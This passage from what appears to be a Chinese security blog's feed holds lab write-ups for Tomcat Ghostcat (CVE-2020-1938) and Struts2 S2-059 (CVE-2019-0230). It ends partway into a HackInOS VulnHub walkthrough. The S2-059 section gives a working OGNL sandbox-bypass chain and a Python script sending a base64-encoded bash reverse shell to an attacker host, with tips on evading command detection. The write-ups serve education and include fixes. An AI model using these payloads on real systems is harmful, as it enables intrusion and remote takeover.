&lt;p&gt;也可以直接使用 Vulhub 自带的 &lt;code&gt;poc.py&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;python2 poc.py 192.168.31.148 -p 8009 -f /WEB-INF/web.xml
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;成功返回 &lt;code&gt;WEB-INF/web.xml&lt;/code&gt; 的内容：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Apache-Tomcat-AJP-%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2020-1938-%E5%B9%BD%E7%81%B5%E7%8C%AB%EF%BC%89%E5%A4%8D%E7%8E%B0.assets/%E8%AF%BB%E5%8F%96%E6%88%90%E5%8A%9F.png&quot; alt=&quot;POC 成功读取 web.xml 文件内容&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;使用 Metasploit&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;# 启动 MSF 交互控制台
msfconsole

# 搜索可用模块
msf &amp;gt; search cve-2020-1938

Matching Modules
================
   #  Name                                  Disclosure Date  Rank    Check  Description
   -  ----                                  ---------------  ----    -----  -----------
    0  auxiliary/admin/http/tomcat_ghostcat  2020-02-20       normal  Yes    Apache Tomcat AJP File Read

msf &amp;gt; use 0
msf auxiliary(admin/http/tomcat_ghostcat) &amp;gt; set RHOST 192.168.31.148
RHOST =&amp;gt; 192.168.31.148
msf auxiliary(admin/http/tomcat_ghostcat) &amp;gt; set filename /WEB-INF/web.xml
filename =&amp;gt; /WEB-INF/web.xml
msf auxiliary(admin/http/tomcat_ghostcat) &amp;gt; run
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./Apache-Tomcat-AJP-%E6%96%87%E4%BB%B6%E5%8C%85%E5%90%AB%E6%BC%8F%E6%B4%9E%EF%BC%88CVE-2020-1938-%E5%B9%BD%E7%81%B5%E7%8C%AB%EF%BC%89%E5%A4%8D%E7%8E%B0.assets/msf%E8%AF%BB%E5%8F%96%E6%88%90%E5%8A%9F.png&quot; alt=&quot;Metasploit tomcat_ghostcat 模块读取 web.xml 成功&quot; /&gt;&lt;/p&gt;
&lt;p&gt;靶机中对应的路径实际上是 &lt;code&gt;/usr/local/tomcat/webapps/ROOT/WEB-INF/web.xml&lt;/code&gt;。利用该漏洞读取的文件被限制在 Web 应用目录（&lt;code&gt;webapps/ROOT/&lt;/code&gt;）内，无法通过路径跳转读取系统其他位置的文件，这是 AJP 包含机制本身的限制。&lt;/p&gt;
&lt;h2&gt;漏洞核心原理&lt;/h2&gt;
&lt;p&gt;Tomcat 默认在 &lt;code&gt;server.xml&lt;/code&gt; 中开启 &lt;strong&gt;AJP&lt;/strong&gt; 协议端口（默认 8009），用于与其他 Web 服务器（如 Apache HTTPD）通信。AJP 协议在转发请求时，允许请求中携带 &lt;code&gt;javax.servlet.include.request_uri&lt;/code&gt;、&lt;code&gt;javax.servlet.include.path_info&lt;/code&gt;、&lt;code&gt;javax.servlet.include.servlet_path&lt;/code&gt; 三个属性，用于指定服务端包含（SSI）的目标路径。正常情况下这些属性只应由前置服务器设置，但 AJP 连接器未校验请求来源，攻击者可以直接构造携带这些属性的 AJP 请求，让 Tomcat 包含并返回 Web 应用目录下的任意文件（如 &lt;code&gt;WEB-INF/web.xml&lt;/code&gt;、JSP 源码）。若应用存在文件上传功能，攻击者可上传含恶意代码的文件后通过包含执行，实现远程代码执行。&lt;/p&gt;
&lt;h2&gt;修复方案&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;升级 Tomcat 至 7.0.100、8.5.51、9.0.31 或更高版本，修复方式为 AJP 连接器校验请求属性来源、过滤 &lt;code&gt;..&lt;/code&gt; 路径跳转；&lt;/li&gt;
&lt;li&gt;若业务不使用 AJP 协议（未与 Apache HTTPD 集成），直接在 &lt;code&gt;server.xml&lt;/code&gt; 中注释掉 AJP 连接器配置；&lt;/li&gt;
&lt;li&gt;必须使用 AJP 时，为连接器配置 &lt;code&gt;requiredSecret&lt;/code&gt; 属性启用认证。&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Apache Tomcat 官方公告：https://tomcat.apache.org/security-9.html#Fixed_in_Apache_Tomcat_9.0.31&lt;/li&gt;
&lt;li&gt;NVD：https://nvd.nist.gov/vuln/detail/CVE-2020-1938&lt;/li&gt;
&lt;li&gt;长亭科技分析（幽灵猫命名来源）：https://www.chaitin.cn/zh/ghostcat&lt;/li&gt;
&lt;li&gt;Vulhub 靶场：https://github.com/vulhub/vulhub/tree/master/tomcat/CVE-2020-1938&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;附录：容器启动失败解决方案&lt;/h2&gt;
&lt;h3&gt;定位原因&lt;/h3&gt;
&lt;p&gt;执行&lt;code&gt;docker-compose up -d&lt;/code&gt;后发现容器并没有按照预期正常启动，&lt;code&gt;docker-compose logs&lt;/code&gt;查看日志：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;tomcat-1  | # A fatal error has been detected by the Java Runtime Environment:
tomcat-1  | #
tomcat-1  | #  SIGSEGV (0xb) at pc=0x00007f9ca649a611, pid=1, tid=0x00007f9ca5385700
tomcat-1  | #
tomcat-1  | # JRE version: OpenJDK Runtime Environment (8.0_242-b08) (build 1.8.0_242-b08)
tomcat-1  | # Java VM: OpenJDK 64-Bit Server VM (25.242-b08 mixed mode linux-amd64 compressed oops)
tomcat-1  | # Problematic frame:
tomcat-1  | # C  [libc.so.6+0x22611]  abort+0x1fd
tomcat-1  | #
tomcat-1  | # Core dump written. Default location: /usr/local/tomcat/core or core.1
tomcat-1  | #
tomcat-1  | # An error report file with more information is saved as:
tomcat-1  | # /usr/local/tomcat/hs_err_pid1.log
...（中间错误详情省略）
tomcat-1  | library initialization failed - unable to allocate file descriptor table - out of memory
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;关键提示：&lt;code&gt;library initialization failed - unable to allocate file descriptor table - out of memory&lt;/code&gt;（库初始化失败，无法分配文件描述符表）。&lt;/p&gt;
&lt;p&gt;JVM 崩溃的本质是&lt;strong&gt;容器/宿主机资源不足&lt;/strong&gt;（内存不足、文件描述符限制过低），导致 JVM 无法完成初始化，触发段错误（SIGSEGV）。&lt;/p&gt;
&lt;p&gt;首先确认宿主机本身是否有足够的内存和资源：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 查看宿主机内存使用情况（重点看free列的可用内存）
free -h

# 查看宿主机文件描述符当前限制
ulimit -n
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;如果宿主机可用内存（free）小于 1G，&lt;strong&gt;必须先关闭其他占用内存的程序&lt;/strong&gt;（比如其他容器、无用服务）；如果&lt;code&gt;ulimit -n&lt;/code&gt;返回值小于 &lt;strong&gt;10240&lt;/strong&gt;，说明宿主机文件描述符限制过低，也需要修改。&lt;/p&gt;
&lt;h3&gt;修复问题&lt;/h3&gt;
&lt;p&gt;修改 &lt;code&gt;vulhub/tomcat/CVE-2020-1938/docker-compose.yml&lt;/code&gt; 为以下完整配置：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;services:
  tomcat:
    image: vulhub/tomcat:8.5.50
    container_name: tomcat-1
    ports:
      - &quot;8080:8080&quot;
      - &quot;8009:8009&quot;
    mem_limit: 1024m       # 容器最大可用内存1G
    mem_reservation: 512m  # 容器预留内存512M
    environment:
      - JAVA_OPTS=-Xms128m -Xmx256m -XX:+HeapDumpOnOutOfMemoryError
    ulimits:
      nofile:
        soft: 65535
        hard: 65535
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;注意缩进，缩进错误可能会导致报错：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;yaml: line 5: did not find expected &apos;-&apos; indicator
&lt;/code&gt;&lt;/pre&gt;
</content:encoded></item><item><title>Apache Struts2 S2-059 远程代码执行漏洞（CVE-2019-0230）复现</title><link>https://blog.mal-suen.cn/posts/2020/08/66/</link><guid isPermaLink="true">https://blog.mal-suen.cn/posts/2020/08/66/</guid><description>Struts2 标签库的 id 属性会对属性值进行二次 OGNL 解析，当属性值引用了攻击者可控的输入时，攻击者可构造恶意 OGNL 表达式绕过沙箱执行任意代码。CVSS 9.8，影响 Struts2 2.0.0-2.5.20。本文基于 Vulhub 靶场复现并拆解沙箱绕过与命令执行的利用链。</description><pubDate>Thu, 13 Aug 2020 06:49:32 GMT</pubDate><content:encoded>&lt;p&gt;CVE-2019-0230（S2-059）是 Struts2 的远程代码执行漏洞，CVSS 9.8。Struts2 标签库（继承 &lt;code&gt;AbstractUITag&lt;/code&gt; 的标签，如 &lt;code&gt;&amp;lt;s:a&amp;gt;&lt;/code&gt;、&lt;code&gt;&amp;lt;s:label&amp;gt;&lt;/code&gt;）的 &lt;code&gt;id&lt;/code&gt; 属性会对属性值进行二次 OGNL 解析：当开发者在 &lt;code&gt;id&lt;/code&gt; 属性中使用 &lt;code&gt;%{...}&lt;/code&gt; 表达式且表达式内的变量可被用户控制时，攻击者可以构造恶意 OGNL 表达式。Struts2 2.5.20 内置了 OGNL 沙箱（禁止访问的类与包名单），攻击者需要先通过表达式清空沙箱黑名单，再调用 &lt;code&gt;java.lang.Runtime&lt;/code&gt; 执行任意命令。&lt;/p&gt;
&lt;p&gt;复现基于 Vulhub 的 struts2/s2-059 靶场（Struts2 2.5.16），覆盖表达式二次解析验证、沙箱绕过、反弹 Shell 三个阶段，并逐行拆解两条 OGNL 利用链。&lt;/p&gt;
&lt;h2&gt;漏洞基础信息&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;漏洞编号&lt;/th&gt;
&lt;th&gt;CVSS 评分&lt;/th&gt;
&lt;th&gt;影响版本&lt;/th&gt;
&lt;th&gt;漏洞类型&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;S2-059 / CVE-2019-0230&lt;/td&gt;
&lt;td&gt;9.8&lt;/td&gt;
&lt;td&gt;Apache Struts2 2.0.0-2.5.20&lt;/td&gt;
&lt;td&gt;OGNL 表达式注入 → 远程代码执行&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;漏洞复现&lt;/h2&gt;
&lt;h3&gt;漏洞利用条件&lt;/h3&gt;
&lt;p&gt;该漏洞利用限制较多，需同时满足以下条件：&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;altSyntax 功能开启&lt;/strong&gt;：默认在高版本中已关闭&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;特定标签&lt;/strong&gt;：继承&lt;code&gt;AbstractUITag&lt;/code&gt;类的标签（如&lt;code&gt;&amp;lt;s:a&amp;gt;&lt;/code&gt;、&lt;code&gt;&amp;lt;s:label&amp;gt;&lt;/code&gt;等）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;特定属性&lt;/strong&gt;：仅&lt;code&gt;id&lt;/code&gt;属性会被二次解析（其他属性直接赋值）&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;可控输入&lt;/strong&gt;：标签&lt;code&gt;id&lt;/code&gt;属性使用&lt;code&gt;%{...}&lt;/code&gt;表达式，且表达式内变量（如&lt;code&gt;skillName&lt;/code&gt;）可被用户控制&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;无安全验证&lt;/strong&gt;：应用未对用户输入进行 OGNL 表达式过滤或安全校验&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;复现环境准备&lt;/h3&gt;
&lt;p&gt;S2-059 利用条件苛刻，手动搭建易出错，优先使用现成的 Docker 镜像：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;# 安装Docker和docker-compose
apt install docker.io docker-compose

# 将 Vulhub 项目克隆到本地
git clone https://github.com/vulhub/vulhub.git

# 拉取镜像并启动容器
cd vulhub/struts2/s2-059
docker-compose up -d

# 确认容器启动状态
docker ps | grep s2-059

9210c78f5333   vulhub/struts2:2.5.16   &quot;/usr/local/bin/mvn-…&quot;   3 minutes ago   Up 3 minutes   0.0.0.0:8080-&amp;gt;8080/tcp, :::8080-&amp;gt;8080/tcp   s2-059-struts2-1
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;启动成功后，访问 &lt;code&gt;http://192.168.31.148:8080&lt;/code&gt;，能看到 Struts2 测试页面即环境就绪。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Apache-Struts2-S2-059-%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E-(CVE-2019-0230)-%E5%A4%8D%E7%8E%B0.assets/%E7%BD%91%E9%A1%B5demo.png&quot; alt=&quot;Struts2 测试页面&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;验证表达式二次解析&lt;/h3&gt;
&lt;p&gt;构造请求 &lt;code&gt;http://192.168.31.148:8080/?id=%25{6*6}&lt;/code&gt;，F12 查看元素会发现 id 的值变成了 36。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Apache-Struts2-S2-059-%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E-(CVE-2019-0230)-%E5%A4%8D%E7%8E%B0.assets/id36.png&quot; alt=&quot;id 属性值变为 36，证明 OGNL 表达式被二次解析&quot; /&gt;&lt;/p&gt;
&lt;p&gt;其中：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;?id=&lt;/code&gt;：HTTP 请求的参数键值对，&lt;code&gt;id&lt;/code&gt; 是参数名（对应 S2-059 漏洞中可触发二次解析的标签&lt;code&gt;id&lt;/code&gt;属性）；&lt;/p&gt;
&lt;p&gt;&lt;code&gt;%25{6*6}&lt;/code&gt;：&lt;code&gt;%25&lt;/code&gt; 是字符 &lt;code&gt;%&lt;/code&gt; 的 URL 编码，&lt;code&gt;%{6*6}&lt;/code&gt;为 OGNL 表达式模板（S2-059 漏洞中，开启&lt;code&gt;altSyntax&lt;/code&gt;后，&lt;code&gt;%{}&lt;/code&gt;包裹的内容会被当作 OGNL 表达式解析）；&lt;/p&gt;
&lt;p&gt;注：如果此处测试请求为&lt;code&gt;%25{1+1}&lt;/code&gt;，按 HTTP 标准（RFC 3986），参数中的 &lt;code&gt;+&lt;/code&gt; 号会被自动解码为&lt;strong&gt;空格&lt;/strong&gt;，最终服务器实际接收到的 &lt;code&gt;id&lt;/code&gt; 参数值是 &lt;code&gt;%{1 1}&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;突破沙箱限制&lt;/h3&gt;
&lt;p&gt;这是 S2-059 远程代码执行的&lt;strong&gt;前置必要步骤&lt;/strong&gt;，没有这一步，所有命令执行 POC 都会被沙箱拦截。2.5.20 版本为了防御 OGNL 注入，会通过&lt;code&gt;OgnlUtil&lt;/code&gt;类维护禁止访问的类与包名单（比如&lt;code&gt;java.lang.Runtime&lt;/code&gt;、&lt;code&gt;java.io&lt;/code&gt;等敏感类）。&lt;/p&gt;
&lt;p&gt;OGNL 表达式为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;%{
(#context=#attr[&apos;struts.valueStack&apos;].context).
(#container=#context[&apos;com.opensymphony.xwork2.ActionContext.container&apos;]).
(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ognlUtil.setExcludedClasses(&apos;&apos;)).
(#ognlUtil.setExcludedPackageNames(&apos;&apos;))
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;(#context=#attr[&apos;struts.valueStack&apos;].context)&lt;/code&gt;：获取 Struts2 上下文对象。&lt;code&gt;struts.valueStack&lt;/code&gt;是 Struts2 的核心对象，存储了请求的所有上下文信息；&lt;code&gt;#attr&lt;/code&gt;是 OGNL 中访问页面属性的关键字&lt;/li&gt;
&lt;li&gt;&lt;code&gt;(#container=#context[&apos;com.opensymphony.xwork2.ActionContext.container&apos;])&lt;/code&gt;：从上下文里拿到容器对象，这个对象管理着 Struts2 所有工具类的实例。&lt;code&gt;ActionContext.container&lt;/code&gt;是 Struts2 的 IOC 容器，负责创建和管理核心工具类（如&lt;code&gt;OgnlUtil&lt;/code&gt;）&lt;/li&gt;
&lt;li&gt;&lt;code&gt;(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))&lt;/code&gt;：获取 OGNL 工具类。&lt;code&gt;OgnlUtil&lt;/code&gt;是控制 OGNL 沙箱黑名单的核心类，&lt;code&gt;getInstance()&lt;/code&gt;是容器的实例获取方法；&lt;code&gt;@类名@class&lt;/code&gt;是 OGNL 中访问静态类的语法&lt;/li&gt;
&lt;li&gt;&lt;code&gt;(#ognlUtil.setExcludedClasses(&apos;&apos;))&lt;/code&gt;：清空黑名单类。&lt;code&gt;setExcludedClasses(&apos;&apos;)&lt;/code&gt;将沙箱的禁止类名单设为空字符串，默认黑名单包含&lt;code&gt;Runtime&lt;/code&gt;、&lt;code&gt;Process&lt;/code&gt;等敏感类&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;编码后的 URL 为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;http://192.168.31.148:8080/?id=%25%7B(%23context%3D%23attr%5B&apos;struts.valueStack&apos;%5D.context).(%23container%3D%23context%5B&apos;com.opensymphony.xwork2.ActionContext.container&apos;%5D).(%23ognlUtil%3D%23container.getInstance(%40com.opensymphony.xwork2.ognl.OgnlUtil%40class)).(%23ognlUtil.setExcludedClasses(&apos;&apos;)).(%23ognlUtil.setExcludedPackageNames(&apos;&apos;))%7D
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;任意命令执行&lt;/h3&gt;
&lt;p&gt;OGNL 表达式为：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;%{
(#context=#attr[&apos;struts.valueStack&apos;].context).
(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).
(@java.lang.Runtime@getRuntime().exec(&apos;command&apos;))
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这个表达式比上文更简洁、更底层，可以实现&lt;strong&gt;权限绕过与命令执行&lt;/strong&gt;。&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;(#context=#attr[&apos;struts.valueStack&apos;].context)&lt;/code&gt;：获取 Struts2 上下文对象。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS))&lt;/code&gt;：取消所有对私有方法、静态方法、敏感类的访问限制。&lt;code&gt;@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS&lt;/code&gt;是 OGNL 的默认权限实例，无任何访问限制（允许调用私有方法、静态方法、任意类）；这一步替代了清空 OgnlUtil 黑名单的操作，是更底层的权限绕过方式。&lt;/li&gt;
&lt;li&gt;&lt;code&gt;@java.lang.Runtime@getRuntime().exec(&apos;command&apos;)&lt;/code&gt;：调用 Java 的核心类执行任意系统命令。&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;攻击机监听：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;nc -lvvp 6666
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用 &lt;a href=&quot;https://base64.us/&quot;&gt;Base64 在线编码解码&lt;/a&gt;将原始命令编码，是绕过命令检测机制的初级方法：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Apache-Struts2-S2-059-%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E-(CVE-2019-0230)-%E5%A4%8D%E7%8E%B0.assets/base64%E7%BC%96%E7%A0%81.png&quot; alt=&quot;Base64 编码反弹 Shell 命令&quot; /&gt;&lt;/p&gt;
&lt;p&gt;编写 Python 脚本：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import requests
url = &quot;http://192.168.31.148:8080&quot;
data = {
    &quot;id&quot;: &quot;%{(#context=#attr[&apos;struts.valueStack&apos;].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec(&apos;bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjMxLjE1Mi82NjY2IDA+JjE=}|{base64,-d}|{bash,-i}&apos;))}&quot;
}
res = requests.post(url, data=data)
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;反弹成功，可以看到容器 id &lt;code&gt;9210c78f5333&lt;/code&gt; 正是靶机的 id：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./Apache-Struts2-S2-059-%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E-(CVE-2019-0230)-%E5%A4%8D%E7%8E%B0.assets/nc.png&quot; alt=&quot;nc 收到反弹 Shell，容器 ID 与靶机一致&quot; /&gt;&lt;/p&gt;
&lt;h2&gt;漏洞核心原理&lt;/h2&gt;
&lt;p&gt;S2-059 的成因是 Struts2 标签库对 OGNL 表达式的&lt;strong&gt;二次解析&lt;/strong&gt;。&lt;code&gt;UIBean&lt;/code&gt; 类的 &lt;code&gt;populateComponentHtmlId()&lt;/code&gt; 方法在处理标签 &lt;code&gt;id&lt;/code&gt; 属性时，会调用 &lt;code&gt;findStringIfAltSyntax&lt;/code&gt; 对属性值再执行一次 OGNL 解析。当属性值中包含用户可控的内容时，攻击者提交的 &lt;code&gt;%{...}&lt;/code&gt; 表达式在第二次解析中被执行。&lt;/p&gt;
&lt;p&gt;沙箱绕过依赖两个路径：其一，通过 &lt;code&gt;OgnlUtil.setExcludedClasses(&apos;&apos;)&lt;/code&gt; 清空类黑名单；其二，更底层地通过 &lt;code&gt;setMemberAccess(DEFAULT_MEMBER_ACCESS)&lt;/code&gt; 恢复 OGNL 的默认无限制访问。两者都利用了 OGNL 可以访问 Struts2 内部容器对象的特性。&lt;/p&gt;
&lt;h2&gt;修复方案&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;升级 Struts2 至 &lt;strong&gt;2.5.22&lt;/strong&gt; 或更高版本&lt;/li&gt;
&lt;li&gt;修复方式：&lt;code&gt;UIBean&lt;/code&gt; 类的 &lt;code&gt;populateComponentHtmlId()&lt;/code&gt; 方法中，对 &lt;code&gt;id&lt;/code&gt; 值使用 &lt;code&gt;findStringIfAltSyntax&lt;/code&gt; 时添加额外判断，避免二次解析&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;参考链接&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Apache Struts2 官方公告（S2-059）：https://cwiki.apache.org/confluence/display/WW/S2-059&lt;/li&gt;
&lt;li&gt;NVD：https://nvd.nist.gov/vuln/detail/CVE-2019-0230&lt;/li&gt;
&lt;li&gt;Vulhub 靶场：https://github.com/vulhub/vulhub/tree/master/struts2/s2-059&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;附录：Docker 换源&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;sudo tee /etc/docker/daemon.json &amp;lt;&amp;lt;-&apos;EOF&apos;
{
  &quot;registry-mirrors&quot;: [
    &quot;https://docker.m.daocloud.io&quot;,
    &quot;https://reg-mirror.qiniu.com&quot;,
    &quot;https://docker.1panel.live&quot;
  ]}
EOF
# 重启Docker生效
sudo systemctl daemon-reload
sudo systemctl restart docker
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;阿里云提供个人专属镜像源，速度更快且更稳定。登录&lt;a href=&quot;https://cr.console.aliyun.com&quot;&gt;阿里云控制台&lt;/a&gt;，在“镜像加速器”板块获取专属的镜像地址替换上面的地址。阿里云镜像加速器的使用存在环境限制，并非对所有网络开放，仅面向阿里云用户的公网产品。&lt;/p&gt;
</content:encoded></item><item><title>HackInOS 复现</title><link>https://blog.mal-suen.cn/posts/2020/08/24/</link><guid isPermaLink="true">https://blog.mal-suen.cn/posts/2020/08/24/</guid><description>VulnHub 靶机 HackInOS 的通关记录：arp-scan 定位靶机后，经 wpscan 与 dirsearch 发现 WordPress 5.0.3 与可疑的 upload.php 上传接口，伪造 GIF 文件头绕过 getimagesize 检查上传一句话木马，爆破 MD5 随机文件名触发反弹 Shell；从容器内 MySQL 的非标准表 host_ssh_cred 获取宿主机 SSH 凭据，最终利用 docker 组成员身份挂载宿主机根目录完成 Docker 逃逸获取 root。</description><pubDate>Mon, 10 Aug 2020 16:48:58 GMT</pubDate><content:encoded>&lt;p&gt;HackInOS 是一个经典渗透测试靶机，考察 WordPress 漏洞利用、文件上传绕过与 Docker 逃逸。通关路径：arp-scan 定位靶机，wpscan 与 dirsearch 发现 WordPress 5.0.3 与可疑的 &lt;code&gt;upload.php&lt;/code&gt; 上传接口，伪造 GIF 文件头绕过 &lt;code&gt;getimagesize&lt;/code&gt; 检查上传一句话木马，爆破 MD5 随机文件名触发反弹 Shell；从容器内 MySQL 的非标准表 &lt;code&gt;host_ssh_cred&lt;/code&gt; 获取宿主机 SSH 凭据登录，最终利用 docker 组成员身份挂载宿主机根目录完成逃逸，获取 root 权限与 flag。&lt;/p&gt;
&lt;h2&gt;环境搭建&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;HackInOS&lt;/strong&gt; 是一个非常经典的渗透测试实战靶机，主要考察 WordPress 漏洞利用、上传绕过以及提权等技巧。可以通过以下链接直接访问下载页面：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;VulnHub 详情页：&lt;/strong&gt; &lt;a href=&quot;https://www.vulnhub.com/entry/hackinos-1,295/&quot;&gt;HackInOS: 1 - VulnHub&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;直接下载链接（OVA 格式）：&lt;/strong&gt; &lt;a href=&quot;https://download.vulnhub.com/hackinos/HackInOS.ova&quot;&gt;HackInOS.ova&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;攻击复现&lt;/h2&gt;
&lt;h3&gt;内网主机探测&lt;/h3&gt;
&lt;p&gt;当前靶机 IP 地址未知，需进行内网主机探测。使用 &lt;code&gt;arp-scan&lt;/code&gt; 扫描同网段主机（工具原理见&lt;a href=&quot;/posts/2020/06/181/&quot;&gt;arp-scan 工具的工作原理与实践&lt;/a&gt;）。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(root㉿kali)-[~]
└─$ arp-scan --interface=eth0 --localnet
Interface: eth0, type: EN10MB, MAC: 00:0c:29:46:e9:3f, IPv4: 192.168.31.152
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.31.1    04:67:61:bc:85:68       (Unknown)
192.168.31.6    e4:c7:67:b4:57:f8       (Unknown)
192.168.31.109  a8:0c:63:c9:48:96       HUAWEI TECHNOLOGIES CO.,LTD
192.168.31.129  a6:f1:fa:6d:a8:6e       (Unknown: locally administered)
192.168.31.206  00:0c:29:65:8e:dd       VMware, Inc.
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;发现内网中存在 VMware 主机：&lt;code&gt;192.168.31.206&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;端口扫描与服务识别&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㿿kali)-[~]
└─$ nmap -sS -Pn -T4 -sV -p- --script &quot;default&quot; 192.168.31.206 

# 扫描结果如下
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 d9:c1:5c:20:9a:77:54:f8:a3:41:18:92:1b:1e:e5:35 (RSA)
|   256 df:d4:f2:61:89:61:ac:e0:ee:3b:5d:07:0d:3f:0c:87 (ECDSA)
|_  256 8b:e4:45:ab:af:c8:0e:7e:2a:e4:47:e7:52:f9:bc:71 (ED25519)
8000/tcp open  http    Apache httpd 2.4.25 ((Debian))
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Blog &amp;amp;#8211; Just another WordPress site
|_http-generator: WordPress 5.0.3
|_http-server-header: Apache/2.4.25 (Debian)
| http-robots.txt: 2 disallowed entries 
|_/upload.php /uploads
MAC Address: 00:0C:29:65:8E:DD (VMware)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;目标主机开放端口 &lt;code&gt;22&lt;/code&gt; 与 &lt;code&gt;8000&lt;/code&gt;。WordPress 5.0.3 发布于 2019 年初，存在多个已知漏洞。&lt;code&gt;robots.txt&lt;/code&gt; 暴露了 &lt;code&gt;/upload.php&lt;/code&gt; 和 &lt;code&gt;/uploads&lt;/code&gt;，标准的 WordPress 不会直接在根目录放 &lt;code&gt;upload.php&lt;/code&gt;，这是一个明显的异常点。&lt;/p&gt;
&lt;h3&gt;扫描 WordPress&lt;/h3&gt;
&lt;p&gt;运行 &lt;code&gt;wpscan&lt;/code&gt; 来识别插件漏洞和枚举用户：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㿿kali)-[~]
└─$ wpscan --url http://192.168.31.206:8000 -e u,vp,vt

[+] URL: http://192.168.31.206:8000/ [192.168.31.206]

Interesting Finding(s):

[+] Headers
 | Interesting Entries:
 |  - Server: Apache/2.4.25 (Debian)
 |  - X-Powered-By: PHP/7.2.15
 | Found By: Headers (Passive Detection)
 | Confidence: 100%

[+] robots.txt found: http://192.168.31.206:8000/robots.txt
 | Found By: Robots Txt (Aggressive Detection)
 | Confidence: 100%

